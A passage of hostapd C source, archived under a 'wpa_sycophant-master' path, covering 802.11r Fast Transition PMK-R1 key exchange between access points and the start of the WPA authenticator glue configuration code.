wpa_auth->conf.rkh_pos_timeout); RRB_GET(FT_RRB_S1KH_ID, s1kh_id, msgtype, ETH_ALEN); wpa_printf(MSG_DEBUG, "FT: S1KH-ID=" MACSTR, MAC2STR(f_s1kh_id)); if (s1kh_id_out) os_memcpy(s1kh_id_out, f_s1kh_id, ETH_ALEN); ret = -2; RRB_GET(FT_RRB_PAIRWISE, pairwise, msgtype, sizeof(le16)); wpa_hexdump(MSG_DEBUG, "FT: pairwise", f_pairwise, f_pairwise_len); ret = -1; RRB_GET(FT_RRB_PMK_R1_NAME, pmk_r1_name, msgtype, WPA_PMK_NAME_LEN); wpa_hexdump(MSG_DEBUG, "FT: PMKR1Name", f_pmk_r1_name, WPA_PMK_NAME_LEN); pmk_r1_len = PMK_LEN; if (wpa_ft_rrb_get_tlv(plain, plain_len, FT_RRB_PMK_R1, &f_pmk_r1_len, &f_pmk_r1) == 0 && (f_pmk_r1_len == PMK_LEN || f_pmk_r1_len == SHA384_MAC_LEN)) pmk_r1_len = f_pmk_r1_len; RRB_GET(FT_RRB_PMK_R1, pmk_r1, msgtype, pmk_r1_len); wpa_hexdump_key(MSG_DEBUG, "FT: PMK-R1", f_pmk_r1, pmk_r1_len); pairwise = WPA_GET_LE16(f_pairwise); RRB_GET_OPTIONAL(FT_RRB_EXPIRES_IN, expires_in, msgtype, sizeof(le16)); if (f_expires_in) expires_in = WPA_GET_LE16(f_expires_in); else expires_in = 0; wpa_printf(MSG_DEBUG, "FT: PMK-R1 %s - expires_in=%d", msgtype, expires_in); if (wpa_ft_rrb_get_tlv_vlan(plain, plain_len, &vlan) < 0) { wpa_printf(MSG_DEBUG, "FT: Cannot parse vlan"); wpa_ft_rrb_dump(plain, plain_len); goto out; } wpa_printf(MSG_DEBUG, "FT: vlan %d%s", le_to_host16(vlan.untagged), vlan.tagged[0] ? "+" : ""); RRB_GET_OPTIONAL(FT_RRB_IDENTITY, identity, msgtype, -1); if (f_identity) wpa_hexdump_ascii(MSG_DEBUG, "FT: Identity", f_identity, f_identity_len); RRB_GET_OPTIONAL(FT_RRB_RADIUS_CUI, radius_cui, msgtype, -1); if (f_radius_cui) wpa_hexdump_ascii(MSG_DEBUG, "FT: CUI", f_radius_cui, f_radius_cui_len); RRB_GET_OPTIONAL(FT_RRB_SESSION_TIMEOUT, session_timeout, msgtype, sizeof(le32)); if (f_session_timeout) session_timeout = WPA_GET_LE32(f_session_timeout); else session_timeout = 0; wpa_printf(MSG_DEBUG, "FT: session_timeout %d", session_timeout); if (wpa_ft_store_pmk_r1(wpa_auth, f_s1kh_id, f_pmk_r1, pmk_r1_len, f_pmk_r1_name, pairwise, &vlan, expires_in, session_timeout, f_identity, f_identity_len, f_radius_cui, f_radius_cui_len) < 0) goto out; ret = 0; out: if (plain) { os_memset(plain, 0, plain_len); os_free(plain); } return ret; } static void ft_finish_pull(struct wpa_state_machine *sm) { int res; u8 *resp_ies; size_t resp_ies_len; u16 status; if (!sm->ft_pending_cb || !sm->ft_pending_req_ies) return; res = wpa_ft_process_auth_req(sm, wpabuf_head(sm->ft_pending_req_ies), wpabuf_len(sm->ft_pending_req_ies), &resp_ies, &resp_ies_len); if (res < 0) { /* this loop is broken by ft_pending_pull_left_retries */ wpa_printf(MSG_DEBUG, "FT: Callback postponed until response is available"); return; } wpabuf_free(sm->ft_pending_req_ies); sm->ft_pending_req_ies = NULL; status = res; wpa_printf(MSG_DEBUG, "FT: Postponed auth callback result for " MACSTR " - status %u", MAC2STR(sm->addr), status); sm->ft_pending_cb(sm->ft_pending_cb_ctx, sm->addr, sm->wpa_auth->addr, sm->ft_pending_auth_transaction + 1, status, resp_ies, resp_ies_len); os_free(resp_ies); } struct ft_get_sta_ctx { const u8 *nonce; const u8 *s1kh_id; struct wpa_state_machine *sm; }; static int ft_get_sta_cb(struct wpa_state_machine *sm, void *ctx) { struct ft_get_sta_ctx *info = ctx; if ((info->s1kh_id && os_memcmp(info->s1kh_id, sm->addr, ETH_ALEN) != 0) || os_memcmp(info->nonce, sm->ft_pending_pull_nonce, FT_RRB_NONCE_LEN) != 0 || sm->ft_pending_cb == NULL || sm->ft_pending_req_ies == NULL) return 0; info->sm = sm; return 1; } static int wpa_ft_rrb_rx_resp(struct wpa_authenticator *wpa_auth, const u8 *src_addr, const u8 *enc, size_t enc_len, const u8 *auth, size_t auth_len, int no_defer) { const char *msgtype = "pull response"; int nak, ret = -1; struct ft_get_sta_ctx ctx; u8 s1kh_id[ETH_ALEN]; const u8 *f_nonce; size_t f_nonce_len; wpa_printf(MSG_DEBUG, "FT: Received PMK-R1 pull response"); RRB_GET_AUTH(FT_RRB_NONCE, nonce, msgtype, FT_RRB_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "FT: nonce", f_nonce, f_nonce_len); os_memset(&ctx, 0, sizeof(ctx)); ctx.nonce = f_nonce; if (!wpa_auth_for_each_sta(wpa_auth, ft_get_sta_cb, &ctx)) { /* nonce not found */ wpa_printf(MSG_DEBUG, "FT: Invalid nonce"); return -1; } ret = wpa_ft_rrb_rx_r1(wpa_auth, src_addr, FT_PACKET_R0KH_R1KH_RESP, enc, enc_len, auth, auth_len, msgtype, s1kh_id, no_defer ? NULL : &wpa_ft_rrb_rx_resp); if (ret == -2) { ret = 0; nak = 1; } else { nak = 0; } if (ret < 0) return -1; ctx.s1kh_id = s1kh_id; if (wpa_auth_for_each_sta(wpa_auth, ft_get_sta_cb, &ctx)) { wpa_printf(MSG_DEBUG, "FT: Response to a pending pull request for " MACSTR, MAC2STR(ctx.sm->addr)); eloop_cancel_timeout(wpa_ft_expire_pull, ctx.sm, NULL); if (nak) ctx.sm->ft_pending_pull_left_retries = 0; ft_finish_pull(ctx.sm); } out: return ret; } static int wpa_ft_rrb_rx_push(struct wpa_authenticator *wpa_auth, const u8 *src_addr, const u8 *enc, size_t enc_len, const u8 *auth, size_t auth_len, int no_defer) { const char *msgtype = "push"; wpa_printf(MSG_DEBUG, "FT: Received PMK-R1 push"); if (wpa_ft_rrb_rx_r1(wpa_auth, src_addr, FT_PACKET_R0KH_R1KH_PUSH, enc, enc_len, auth, auth_len, msgtype, NULL, no_defer ? NULL : wpa_ft_rrb_rx_push) < 0) return -1; return 0; } static int wpa_ft_rrb_rx_seq(struct wpa_authenticator *wpa_auth, const u8 *src_addr, int type, const u8 *enc, size_t enc_len, const u8 *auth, size_t auth_len, struct ft_remote_seq **rkh_seq, u8 **key, size_t *key_len, struct ft_remote_r0kh **r0kh_out, struct ft_remote_r1kh **r1kh_out, struct ft_remote_r0kh **r0kh_wildcard_out, struct ft_remote_r1kh **r1kh_wildcard_out) { struct ft_remote_r0kh *r0kh = NULL; struct ft_remote_r1kh *r1kh = NULL; const u8 *f_r0kh_id, *f_r1kh_id; size_t f_r0kh_id_len, f_r1kh_id_len; int to_r0kh, to_r1kh; u8 *plain = NULL; size_t plain_len = 0; struct ft_remote_r0kh *r0kh_wildcard; struct ft_remote_r1kh *r1kh_wildcard; RRB_GET_AUTH(FT_RRB_R0KH_ID, r0kh_id, "seq", -1); RRB_GET_AUTH(FT_RRB_R1KH_ID, r1kh_id, "seq", FT_R1KH_ID_LEN); to_r0kh = !wpa_ft_rrb_check_r0kh(wpa_auth, f_r0kh_id, f_r0kh_id_len); to_r1kh = !wpa_ft_rrb_check_r1kh(wpa_auth, f_r1kh_id); if (to_r0kh && to_r1kh) { wpa_printf(MSG_DEBUG, "FT: seq - local R0KH-ID and R1KH-ID"); goto out; } if (!to_r0kh && !to_r1kh) { wpa_printf(MSG_DEBUG, "FT: seq - remote R0KH-ID and R1KH-ID"); goto out; } if (!to_r0kh) { wpa_ft_rrb_lookup_r0kh(wpa_auth, f_r0kh_id, f_r0kh_id_len, &r0kh, &r0kh_wildcard); if (!r0kh_wildcard && (!r0kh || os_memcmp(r0kh->addr, src_addr, ETH_ALEN) != 0)) { wpa_hexdump(MSG_DEBUG, "FT: Did not find R0KH-ID", f_r0kh_id, f_r0kh_id_len); goto out; } if (r0kh) { *key = r0kh->key; *key_len = sizeof(r0kh->key); } else { *key = r0kh_wildcard->key; *key_len = sizeof(r0kh_wildcard->key); } } if (!to_r1kh) { wpa_ft_rrb_lookup_r1kh(wpa_auth, f_r1kh_id, &r1kh, &r1kh_wildcard); if (!r1kh_wildcard && (!r1kh || os_memcmp(r1kh->addr, src_addr, ETH_ALEN) != 0)) { wpa_hexdump(MSG_DEBUG, "FT: Did not find R1KH-ID", f_r1kh_id, FT_R1KH_ID_LEN); goto out; } if (r1kh) { *key = r1kh->key; *key_len = sizeof(r1kh->key); } else { *key = r1kh_wildcard->key; *key_len = sizeof(r1kh_wildcard->key); } } if (wpa_ft_rrb_decrypt(*key, *key_len, enc, enc_len, auth, auth_len, src_addr, type, &plain, &plain_len) < 0) goto out; os_free(plain); if (!to_r0kh) { if (!r0kh) r0kh = wpa_ft_rrb_add_r0kh(wpa_auth, r0kh_wildcard, src_addr, f_r0kh_id, f_r0kh_id_len, ftRRBseqTimeout); if (!r0kh) goto out; wpa_ft_rrb_r0kh_replenish(wpa_auth, r0kh, ftRRBseqTimeout); *rkh_seq = r0kh->seq; if (r0kh_out) *r0kh_out = r0kh; if (r0kh_wildcard_out) *r0kh_wildcard_out = r0kh_wildcard; } if (!to_r1kh) { if (!r1kh) r1kh = wpa_ft_rrb_add_r1kh(wpa_auth, r1kh_wildcard, src_addr, f_r1kh_id, ftRRBseqTimeout); if (!r1kh) goto out; wpa_ft_rrb_r1kh_replenish(wpa_auth, r1kh, ftRRBseqTimeout); *rkh_seq = r1kh->seq; if (r1kh_out) *r1kh_out = r1kh; if (r1kh_wildcard_out) *r1kh_wildcard_out = r1kh_wildcard; } return 0; out: return -1; } static int wpa_ft_rrb_rx_seq_req(struct wpa_authenticator *wpa_auth, const u8 *src_addr, const u8 *enc, size_t enc_len, const u8 *auth, size_t auth_len, int no_defer) { int ret = -1; struct ft_rrb_seq f_seq; const u8 *f_nonce, *f_r0kh_id, *f_r1kh_id; size_t f_nonce_len, f_r0kh_id_len, f_r1kh_id_len; struct ft_remote_seq *rkh_seq = NULL; u8 *packet = NULL, *key = NULL; size_t packet_len = 0, key_len = 0; struct tlv_list seq_resp_auth[5]; wpa_printf(MSG_DEBUG, "FT: Received sequence number request"); if (wpa_ft_rrb_rx_seq(wpa_auth, src_addr, FT_PACKET_R0KH_R1KH_SEQ_REQ, enc, enc_len, auth, auth_len, &rkh_seq, &key, &key_len, NULL, NULL, NULL, NULL) < 0) goto out; RRB_GET_AUTH(FT_RRB_NONCE, nonce, "seq request", FT_RRB_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "FT: seq request - nonce", f_nonce, f_nonce_len); RRB_GET_AUTH(FT_RRB_R0KH_ID, r0kh_id, "seq", -1); RRB_GET_AUTH(FT_RRB_R1KH_ID, r1kh_id, "seq", FT_R1KH_ID_LEN); if (wpa_ft_new_seq(rkh_seq, &f_seq) < 0) { wpa_printf(MSG_DEBUG, "FT: Failed to get seq num"); goto out; } seq_resp_auth[0].type = FT_RRB_NONCE; seq_resp_auth[0].len = f_nonce_len; seq_resp_auth[0].data = f_nonce; seq_resp_auth[1].type = FT_RRB_SEQ; seq_resp_auth[1].len = sizeof(f_seq); seq_resp_auth[1].data = (u8 *) &f_seq; seq_resp_auth[2].type = FT_RRB_R0KH_ID; seq_resp_auth[2].len = f_r0kh_id_len; seq_resp_auth[2].data = f_r0kh_id; seq_resp_auth[3].type = FT_RRB_R1KH_ID; seq_resp_auth[3].len = FT_R1KH_ID_LEN; seq_resp_auth[3].data = f_r1kh_id; seq_resp_auth[4].type = FT_RRB_LAST_EMPTY; seq_resp_auth[4].len = 0; seq_resp_auth[4].data = NULL; if (wpa_ft_rrb_build(key, key_len, NULL, NULL, seq_resp_auth, NULL, wpa_auth->addr, FT_PACKET_R0KH_R1KH_SEQ_RESP, &packet, &packet_len) < 0) goto out; wpa_ft_rrb_oui_send(wpa_auth, src_addr, FT_PACKET_R0KH_R1KH_SEQ_RESP, packet, packet_len); out: os_free(packet); return ret; } static int wpa_ft_rrb_rx_seq_resp(struct wpa_authenticator *wpa_auth, const u8 *src_addr, const u8 *enc, size_t enc_len, const u8 *auth, size_t auth_len, int no_defer) { u8 *key = NULL; size_t key_len = 0; struct ft_remote_r0kh *r0kh = NULL, *r0kh_wildcard = NULL; struct ft_remote_r1kh *r1kh = NULL, *r1kh_wildcard = NULL; const u8 *f_nonce, *f_seq; size_t f_nonce_len, f_seq_len; struct ft_remote_seq *rkh_seq = NULL; struct ft_remote_item *item; struct os_reltime now, now_remote; int seq_ret, found; const struct ft_rrb_seq *msg_both; u32 msg_dom, msg_seq; wpa_printf(MSG_DEBUG, "FT: Received sequence number response"); if (wpa_ft_rrb_rx_seq(wpa_auth, src_addr, FT_PACKET_R0KH_R1KH_SEQ_RESP, enc, enc_len, auth, auth_len, &rkh_seq, &key, &key_len, &r0kh, &r1kh, &r0kh_wildcard, &r1kh_wildcard) < 0) goto out; RRB_GET_AUTH(FT_RRB_NONCE, nonce, "seq response", FT_RRB_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "FT: seq response - nonce", f_nonce, f_nonce_len); found = 0; dl_list_for_each(item, &rkh_seq->rx.queue, struct ft_remote_item, list) { if (os_memcmp_const(f_nonce, item->nonce, FT_RRB_NONCE_LEN) != 0 || os_get_reltime(&now) < 0 || os_reltime_expired(&now, &item->nonce_ts, ftRRBseqTimeout)) continue; found = 1; break; } if (!found) { wpa_printf(MSG_DEBUG, "FT: seq response - bad nonce"); goto out; } if (r0kh) { wpa_ft_rrb_r0kh_replenish(wpa_auth, r0kh, wpa_auth->conf.rkh_pos_timeout); if (r0kh_wildcard) os_memcpy(r0kh->addr, src_addr, ETH_ALEN); } if (r1kh) { wpa_ft_rrb_r1kh_replenish(wpa_auth, r1kh, wpa_auth->conf.rkh_pos_timeout); if (r1kh_wildcard) os_memcpy(r1kh->addr, src_addr, ETH_ALEN); } seq_ret = wpa_ft_rrb_seq_chk(rkh_seq, src_addr, enc, enc_len, auth, auth_len, "seq response", 1); if (seq_ret == FT_RRB_SEQ_OK) { wpa_printf(MSG_DEBUG, "FT: seq response - valid seq number"); wpa_ft_rrb_seq_accept(wpa_auth, rkh_seq, src_addr, auth, auth_len, "seq response"); } else { wpa_printf(MSG_DEBUG, "FT: seq response - reset seq number"); RRB_GET_AUTH(FT_RRB_SEQ, seq, "seq response", sizeof(*msg_both)); msg_both = (const struct ft_rrb_seq *) f_seq; msg_dom = le_to_host32(msg_both->dom); msg_seq = le_to_host32(msg_both->seq); now_remote.sec = le_to_host32(msg_both->ts); now_remote.usec = 0; rkh_seq->rx.num_last = 2; rkh_seq->rx.dom = msg_dom; rkh_seq->rx.offsetidx = 0; /* Accept some older, possibly cached packets as well */ rkh_seq->rx.last[0] = msg_seq - FT_REMOTE_SEQ_BACKLOG - dl_list_len(&rkh_seq->rx.queue); rkh_seq->rx.last[1] = msg_seq; /* local time - offset = remote time * <=> local time - remote time = offset */ os_reltime_sub(&now, &now_remote, &rkh_seq->rx.time_offset); } wpa_ft_rrb_seq_flush(wpa_auth, rkh_seq, 1); return 0; out: return -1; } int wpa_ft_rrb_rx(struct wpa_authenticator *wpa_auth, const u8 *src_addr, const u8 *data, size_t data_len) { struct ft_rrb_frame *frame; u16 alen; const u8 *pos, *end, *start; u8 action; const u8 *sta_addr, *target_ap_addr; wpa_printf(MSG_DEBUG, "FT: RRB received frame from remote AP " MACSTR, MAC2STR(src_addr)); if (data_len < sizeof(*frame)) { wpa_printf(MSG_DEBUG, "FT: Too short RRB frame (data_len=%lu)", (unsigned long) data_len); return -1; } pos = data; frame = (struct ft_rrb_frame *) pos; pos += sizeof(*frame); alen = le_to_host16(frame->action_length); wpa_printf(MSG_DEBUG, "FT: RRB frame - frame_type=%d packet_type=%d " "action_length=%d ap_address=" MACSTR, frame->frame_type, frame->packet_type, alen, MAC2STR(frame->ap_address)); if (frame->frame_type != RSN_REMOTE_FRAME_TYPE_FT_RRB) { /* Discard frame per IEEE Std 802.11r-2008, 11A.10.3 */ wpa_printf(MSG_DEBUG, "FT: RRB discarded frame with " "unrecognized type %d", frame->frame_type); return -1; } if (alen > data_len - sizeof(*frame)) { wpa_printf(MSG_DEBUG, "FT: RRB frame too short for action " "frame"); return -1; } wpa_hexdump(MSG_MSGDUMP, "FT: RRB - FT Action frame", pos, alen); if (alen < 1 + 1 + 2 * ETH_ALEN) { wpa_printf(MSG_DEBUG, "FT: Too short RRB frame (not enough " "room for Action Frame body); alen=%lu", (unsigned long) alen); return -1; } start = pos; end = pos + alen; if (*pos != WLAN_ACTION_FT) { wpa_printf(MSG_DEBUG, "FT: Unexpected Action frame category " "%d", *pos); return -1; } pos++; action = *pos++; sta_addr = pos; pos += ETH_ALEN; target_ap_addr = pos; pos += ETH_ALEN; wpa_printf(MSG_DEBUG, "FT: RRB Action Frame: action=%d sta_addr=" MACSTR " target_ap_addr=" MACSTR, action, MAC2STR(sta_addr), MAC2STR(target_ap_addr)); if (frame->packet_type == FT_PACKET_REQUEST) { wpa_printf(MSG_DEBUG, "FT: FT Packet Type - Request"); if (action != 1) { wpa_printf(MSG_DEBUG, "FT: Unexpected Action %d in " "RRB Request", action); return -1; } if (os_memcmp(target_ap_addr, wpa_auth->addr, ETH_ALEN) != 0) { wpa_printf(MSG_DEBUG, "FT: Target AP address in the " "RRB Request does not match with own " "address"); return -1; } if (wpa_ft_rrb_rx_request(wpa_auth, frame->ap_address, sta_addr, pos, end - pos) < 0) return -1; } else if (frame->packet_type == FT_PACKET_RESPONSE) { u16 status_code; if (end - pos < 2) { wpa_printf(MSG_DEBUG, "FT: Not enough room for status " "code in RRB Response"); return -1; } status_code = WPA_GET_LE16(pos); pos += 2; wpa_printf(MSG_DEBUG, "FT: FT Packet Type - Response " "(status_code=%d)", status_code); if (wpa_ft_action_send(wpa_auth, sta_addr, start, alen) < 0) return -1; } else { wpa_printf(MSG_DEBUG, "FT: RRB discarded frame with unknown " "packet_type %d", frame->packet_type); return -1; } if (end > pos) { wpa_hexdump(MSG_DEBUG, "FT: Ignore extra data in end", pos, end - pos); } return 0; } void wpa_ft_rrb_oui_rx(struct wpa_authenticator *wpa_auth, const u8 *src_addr, const u8 *dst_addr, u8 oui_suffix, const u8 *data, size_t data_len) { const u8 *auth, *enc; size_t alen, elen; int no_defer = 0; wpa_printf(MSG_DEBUG, "FT: RRB-OUI received frame from remote AP " MACSTR, MAC2STR(src_addr)); wpa_printf(MSG_DEBUG, "FT: RRB-OUI frame - oui_suffix=%d", oui_suffix); if (is_multicast_ether_addr(src_addr)) { wpa_printf(MSG_DEBUG, "FT: RRB-OUI received frame from multicast address " MACSTR, MAC2STR(src_addr)); return; } if (is_multicast_ether_addr(dst_addr)) { wpa_printf(MSG_DEBUG, "FT: RRB-OUI received frame from remote AP " MACSTR " to multicast address " MACSTR, MAC2STR(src_addr), MAC2STR(dst_addr)); no_defer = 1; } if (data_len < sizeof(u16)) { wpa_printf(MSG_DEBUG, "FT: RRB-OUI frame too short"); return; } alen = WPA_GET_LE16(data); if (data_len < sizeof(u16) + alen) { wpa_printf(MSG_DEBUG, "FT: RRB-OUI frame too short"); return; } auth = data + sizeof(u16); enc = data + sizeof(u16) + alen; elen = data_len - sizeof(u16) - alen; switch (oui_suffix) { case FT_PACKET_R0KH_R1KH_PULL: wpa_ft_rrb_rx_pull(wpa_auth, src_addr, enc, elen, auth, alen, no_defer); break; case FT_PACKET_R0KH_R1KH_RESP: wpa_ft_rrb_rx_resp(wpa_auth, src_addr, enc, elen, auth, alen, no_defer); break; case FT_PACKET_R0KH_R1KH_PUSH: wpa_ft_rrb_rx_push(wpa_auth, src_addr, enc, elen, auth, alen, no_defer); break; case FT_PACKET_R0KH_R1KH_SEQ_REQ: wpa_ft_rrb_rx_seq_req(wpa_auth, src_addr, enc, elen, auth, alen, no_defer); break; case FT_PACKET_R0KH_R1KH_SEQ_RESP: wpa_ft_rrb_rx_seq_resp(wpa_auth, src_addr, enc, elen, auth, alen, no_defer); break; } } static int wpa_ft_generate_pmk_r1(struct wpa_authenticator *wpa_auth, struct wpa_ft_pmk_r0_sa *pmk_r0, struct ft_remote_r1kh *r1kh, const u8 *s1kh_id) { u8 *packet; size_t packet_len; struct ft_rrb_seq f_seq; struct tlv_list push[] = { { .type = FT_RRB_S1KH_ID, .len = ETH_ALEN, .data = s1kh_id }, { .type = FT_RRB_PMK_R0_NAME, .len = WPA_PMK_NAME_LEN, .data = pmk_r0->pmk_r0_name }, { .type = FT_RRB_LAST_EMPTY, .len = 0, .data = NULL }, }; struct tlv_list push_auth[] = { { .type = FT_RRB_SEQ, .len = sizeof(f_seq), .data = (u8 *) &f_seq }, { .type = FT_RRB_R0KH_ID, .len = wpa_auth->conf.r0_key_holder_len, .data = wpa_auth->conf.r0_key_holder }, { .type = FT_RRB_R1KH_ID, .len = FT_R1KH_ID_LEN, .data = r1kh->id }, { .type = FT_RRB_LAST_EMPTY, .len = 0, .data = NULL }, }; if (wpa_ft_new_seq(r1kh->seq, &f_seq) < 0) { wpa_printf(MSG_DEBUG, "FT: Failed to get seq num"); return -1; } if (wpa_ft_rrb_build_r0(r1kh->key, sizeof(r1kh->key), push, pmk_r0, r1kh->id, s1kh_id, push_auth, wpa_auth->addr, FT_PACKET_R0KH_R1KH_PUSH, &packet, &packet_len) < 0) return -1; wpa_ft_rrb_oui_send(wpa_auth, r1kh->addr, FT_PACKET_R0KH_R1KH_PUSH, packet, packet_len); os_free(packet); return 0; } void wpa_ft_push_pmk_r1(struct wpa_authenticator *wpa_auth, const u8 *addr) { struct wpa_ft_pmk_cache *cache = wpa_auth->ft_pmk_cache; struct wpa_ft_pmk_r0_sa *r0, *r0found = NULL; struct ft_remote_r1kh *r1kh; if (!wpa_auth->conf.pmk_r1_push) return; if (!wpa_auth->conf.r1kh_list) return; dl_list_for_each(r0, &cache->pmk_r0, struct wpa_ft_pmk_r0_sa, list) { if (os_memcmp(r0->spa, addr, ETH_ALEN) == 0) { r0found = r0; break; } } r0 = r0found; if (r0 == NULL || r0->pmk_r1_pushed) return; r0->pmk_r1_pushed = 1; wpa_printf(MSG_DEBUG, "FT: Deriving and pushing PMK-R1 keys to R1KHs " "for STA " MACSTR, MAC2STR(addr)); for (r1kh = *wpa_auth->conf.r1kh_list; r1kh; r1kh = r1kh->next) { if (is_zero_ether_addr(r1kh->addr) || is_zero_ether_addr(r1kh->id)) continue; if (wpa_ft_rrb_init_r1kh_seq(r1kh) < 0) continue; wpa_ft_generate_pmk_r1(wpa_auth, r0, r1kh, addr); } } #endif /* CONFIG_IEEE80211R_AP */ wpa_sycophant-master/src/ap/wpa_auth_glue.c000066400000000000000000001022251377436615100214240ustar00rootroot00000000000000/* * hostapd / WPA authenticator glue code * Copyright (c) 2002-2012, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "utils/list.h" #include "common/ieee802_11_defs.h" #include "common/sae.h" #include "common/wpa_ctrl.h" #include "crypto/sha1.h" #include "eapol_auth/eapol_auth_sm.h" #include "eapol_auth/eapol_auth_sm_i.h" #include "eap_server/eap.h" #include "l2_packet/l2_packet.h" #include "eth_p_oui.h" #include "hostapd.h" #include "ieee802_1x.h" #include "preauth_auth.h" #include "sta_info.h" #include "tkip_countermeasures.h" #include "ap_drv_ops.h" #include "ap_config.h" #include "pmksa_cache_auth.h" #include "wpa_auth.h" #include "wpa_auth_glue.h" static void hostapd_wpa_auth_conf(struct hostapd_bss_config *conf, struct hostapd_config *iconf, struct wpa_auth_config *wconf) { os_memset(wconf, 0, sizeof(*wconf)); wconf->wpa = conf->wpa; wconf->wpa_key_mgmt = conf->wpa_key_mgmt; wconf->wpa_pairwise = conf->wpa_pairwise; wconf->wpa_group = conf->wpa_group; wconf->wpa_group_rekey = conf->wpa_group_rekey; wconf->wpa_strict_rekey = conf->wpa_strict_rekey; wconf->wpa_gmk_rekey = conf->wpa_gmk_rekey; wconf->wpa_ptk_rekey = conf->wpa_ptk_rekey; wconf->wpa_group_update_count = conf->wpa_group_update_count; wconf->wpa_disable_eapol_key_retries = conf->wpa_disable_eapol_key_retries; wconf->wpa_pairwise_update_count = conf->wpa_pairwise_update_count; wconf->rsn_pairwise = conf->rsn_pairwise; wconf->rsn_preauth = conf->rsn_preauth; wconf->eapol_version = conf->eapol_version; wconf->wmm_enabled = conf->wmm_enabled; wconf->wmm_uapsd = conf->wmm_uapsd; wconf->disable_pmksa_caching = conf->disable_pmksa_caching; wconf->okc = conf->okc; #ifdef CONFIG_IEEE80211W wconf->ieee80211w = conf->ieee80211w; wconf->group_mgmt_cipher = conf->group_mgmt_cipher; wconf->sae_require_mfp = conf->sae_require_mfp; #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_IEEE80211R_AP wconf->ssid_len = conf->ssid.ssid_len; if (wconf->ssid_len > SSID_MAX_LEN) wconf->ssid_len = SSID_MAX_LEN; os_memcpy(wconf->ssid, conf->ssid.ssid, wconf->ssid_len); os_memcpy(wconf->mobility_domain, conf->mobility_domain, MOBILITY_DOMAIN_ID_LEN); if (conf->nas_identifier && os_strlen(conf->nas_identifier) <= FT_R0KH_ID_MAX_LEN) { wconf->r0_key_holder_len = os_strlen(conf->nas_identifier); os_memcpy(wconf->r0_key_holder, conf->nas_identifier, wconf->r0_key_holder_len); } os_memcpy(wconf->r1_key_holder, conf->r1_key_holder, FT_R1KH_ID_LEN); wconf->r0_key_lifetime = conf->r0_key_lifetime; wconf->r1_max_key_lifetime = conf->r1_max_key_lifetime; wconf->reassociation_deadline = conf->reassociation_deadline; wconf->rkh_pos_timeout = conf->rkh_pos_timeout; wconf->rkh_neg_timeout = conf->rkh_neg_timeout; wconf->rkh_pull_timeout = conf->rkh_pull_timeout; wconf->rkh_pull_retries = conf->rkh_pull_retries; wconf->r0kh_list = &conf->r0kh_list; wconf->r1kh_list = &conf->r1kh_list; wconf->pmk_r1_push = conf->pmk_r1_push; wconf->ft_over_ds = conf->ft_over_ds; wconf->ft_psk_generate_local = conf->ft_psk_generate_local; #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_HS20 wconf->disable_gtk = conf->disable_dgaf; if (conf->osen) { wconf->disable_gtk = 1; wconf->wpa = WPA_PROTO_OSEN; wconf->wpa_key_mgmt = WPA_KEY_MGMT_OSEN; wconf->wpa_pairwise = 0; wconf->wpa_group = WPA_CIPHER_CCMP; wconf->rsn_pairwise = WPA_CIPHER_CCMP; wconf->rsn_preauth = 0; wconf->disable_pmksa_caching = 1; #ifdef CONFIG_IEEE80211W wconf->ieee80211w = 1; #endif /* CONFIG_IEEE80211W */ } #endif /* CONFIG_HS20 */ #ifdef CONFIG_TESTING_OPTIONS wconf->corrupt_gtk_rekey_mic_probability = iconf->corrupt_gtk_rekey_mic_probability; if (conf->own_ie_override && wpabuf_len(conf->own_ie_override) <= MAX_OWN_IE_OVERRIDE) { wconf->own_ie_override_len = wpabuf_len(conf->own_ie_override); os_memcpy(wconf->own_ie_override, wpabuf_head(conf->own_ie_override), wconf->own_ie_override_len); } #endif /* CONFIG_TESTING_OPTIONS */ #ifdef CONFIG_P2P os_memcpy(wconf->ip_addr_go, conf->ip_addr_go, 4); os_memcpy(wconf->ip_addr_mask, conf->ip_addr_mask, 4); os_memcpy(wconf->ip_addr_start, conf->ip_addr_start, 4); os_memcpy(wconf->ip_addr_end, conf->ip_addr_end, 4); #endif /* CONFIG_P2P */ #ifdef CONFIG_FILS wconf->fils_cache_id_set = conf->fils_cache_id_set; os_memcpy(wconf->fils_cache_id, conf->fils_cache_id, FILS_CACHE_ID_LEN); #endif /* CONFIG_FILS */ } static void hostapd_wpa_auth_logger(void *ctx, const u8 *addr, logger_level level, const char *txt) { #ifndef CONFIG_NO_HOSTAPD_LOGGER struct hostapd_data *hapd = ctx; int hlevel; switch (level) { case LOGGER_WARNING: hlevel = HOSTAPD_LEVEL_WARNING; break; case LOGGER_INFO: hlevel = HOSTAPD_LEVEL_INFO; break; case LOGGER_DEBUG: default: hlevel = HOSTAPD_LEVEL_DEBUG; break; } hostapd_logger(hapd, addr, HOSTAPD_MODULE_WPA, hlevel, "%s", txt); #endif /* CONFIG_NO_HOSTAPD_LOGGER */ } static void hostapd_wpa_auth_disconnect(void *ctx, const u8 *addr, u16 reason) { struct hostapd_data *hapd = ctx; wpa_printf(MSG_DEBUG, "%s: WPA authenticator requests disconnect: " "STA " MACSTR " reason %d", __func__, MAC2STR(addr), reason); ap_sta_disconnect(hapd, NULL, addr, reason); } static int hostapd_wpa_auth_mic_failure_report(void *ctx, const u8 *addr) { struct hostapd_data *hapd = ctx; return michael_mic_failure(hapd, addr, 0); } static void hostapd_wpa_auth_psk_failure_report(void *ctx, const u8 *addr) { struct hostapd_data *hapd = ctx; wpa_msg(hapd->msg_ctx, MSG_INFO, AP_STA_POSSIBLE_PSK_MISMATCH MACSTR, MAC2STR(addr)); } static void hostapd_wpa_auth_set_eapol(void *ctx, const u8 *addr, wpa_eapol_variable var, int value) { struct hostapd_data *hapd = ctx; struct sta_info *sta = ap_get_sta(hapd, addr); if (sta == NULL) return; switch (var) { case WPA_EAPOL_portEnabled: ieee802_1x_notify_port_enabled(sta->eapol_sm, value); break; case WPA_EAPOL_portValid: ieee802_1x_notify_port_valid(sta->eapol_sm, value); break; case WPA_EAPOL_authorized: ieee802_1x_set_sta_authorized(hapd, sta, value); break; case WPA_EAPOL_portControl_Auto: if (sta->eapol_sm) sta->eapol_sm->portControl = Auto; break; case WPA_EAPOL_keyRun: if (sta->eapol_sm) sta->eapol_sm->keyRun = value ? TRUE : FALSE; break; case 